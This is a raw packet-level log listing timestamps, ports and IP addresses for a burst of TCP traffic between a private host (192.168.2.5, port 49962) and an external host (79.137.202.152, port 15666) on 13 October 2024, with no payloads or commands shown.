Oct 13, 2024 01:40:45.288067102 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288074970 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288103104 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288110018 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288125038 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288130999 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288158894 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288161993 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288189888 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288208008 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288209915 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288238049 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288265944 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288279057 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288292885 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288300037 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288314104 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288321972 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288348913 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288353920 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288377047 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288381100 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288397074 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288424969 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288430929 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288454056 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288481951 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288507938 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288532019 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288533926 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288562059 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288563013 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288593054 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288599014 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288616896 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288645983 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288647890 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288676023 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288702965 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288729906 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288738966 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288755894 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288758039 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288786888 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288790941 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288816929 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288834095 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288837910 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288862944 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288892031 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288918972 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288923979 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288944960 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288945913 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288971901 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.289001942 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.290024996 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.290112972 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.290179014 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.290285110 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.290332079 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.290405035 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.290438890 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.290643930 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.293895006 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294059038 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294105053 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294137001 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294163942 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294173956 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294189930 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294214010 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294218063 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294244051 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294267893 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294275999 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294287920 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294305086 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294326067 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294353962 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294353962 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294384003 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294409990 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294410944 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294433117 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294444084 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294462919 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294472933 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294501066 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294507980 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294533968 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294553995 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294574976 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294603109 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294626951 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294631004 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294651031 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294702053 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294771910 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294800997 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294846058 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294847965 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294867039 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294876099 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294903994 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294909000 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.294934988 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294967890 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.294990063 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295052052 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295057058 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295120955 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295154095 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295196056 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295197964 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295226097 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295258999 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295289040 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295305967 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295308113 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295339108 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295403004 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295478106 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295506954 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295532942 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295562983 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295586109 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295591116 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295617104 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295619011 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295646906 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295651913 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295679092 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295711040 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295718908 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295747042 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295773983 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295787096 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295804977 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295806885 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295834064 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295835018 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.295852900 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.295886993 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.299725056 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.299746990 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.299758911 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.299787998 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.299817085 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.300019979 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.300065041 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.300081968 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.300121069 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.300292015 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.300345898 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.300616026 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.300672054 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.300860882 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.300965071 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.300970078 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.300977945 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.300992966 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301016092 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301028013 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301038980 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301042080 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301080942 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301086903 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301103115 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301111937 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301136017 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301147938 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301148891 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301172018 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301187038 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301219940 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301235914 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301258087 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301296949 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301310062 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301315069 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301354885 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301377058 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301407099 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301420927 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301433086 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301456928 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301470995 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301470995 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301491022 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301493883 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301522017 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301532030 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301549911 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301556110 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301569939 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301582098 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301651001 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301707983 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301722050 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301733017 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301745892 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301758051 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301763058 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301774025 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301786900 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301804066 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301816940 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301824093 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301831007 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301851988 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301861048 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301879883 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301884890 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301901102 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.301913977 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301958084 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.301996946 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.302053928 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.302054882 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.302067041 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.302108049 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.302124023 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.302169085 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.302176952 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.302190065 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.302206039 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.302218914 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.302234888 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.302257061 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.302270889 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.302284002 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.302289963 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.302309036 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.302323103 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.302325964 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.302347898 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.302382946 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.305013895 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.305063963 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.305104017 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.305136919 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.305138111 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.305263996 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.305299997 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.305354118 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.305670977 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.305728912 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.305823088 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.305886030 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.305984974 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306041956 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.306123972 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306178093 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.306314945 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306329012 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306340933 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306355000 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306389093 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.306411028 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.306428909 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306443930 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306497097 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.306504965 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306549072 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306591988 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306605101 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306607962 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.306617022 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306648970 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.306663990 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.306665897 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306719065 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306719065 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.306755066 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306818962 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.306868076 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306888103 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306906939 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306929111 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306955099 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.306962967 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.306986094 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307013988 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307020903 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307154894 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307174921 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307194948 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307226896 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307230949 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307251930 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307254076 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307271957 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307286024 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307301044 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307318926 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307329893 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307370901 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307404041 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307425976 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307445049 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307481050 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307482004 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307503939 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307504892 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307523966 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307524920 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307559013 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307562113 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307575941 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307584047 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307609081 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307611942 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307627916 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307632923 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307651043 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307665110 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.307676077 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.307715893 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.310007095 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.310071945 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.310127974 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.310148954 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.310180902 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.310185909 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.310197115 CEST	49962	15666	192.168.2.5	79.137.202.152
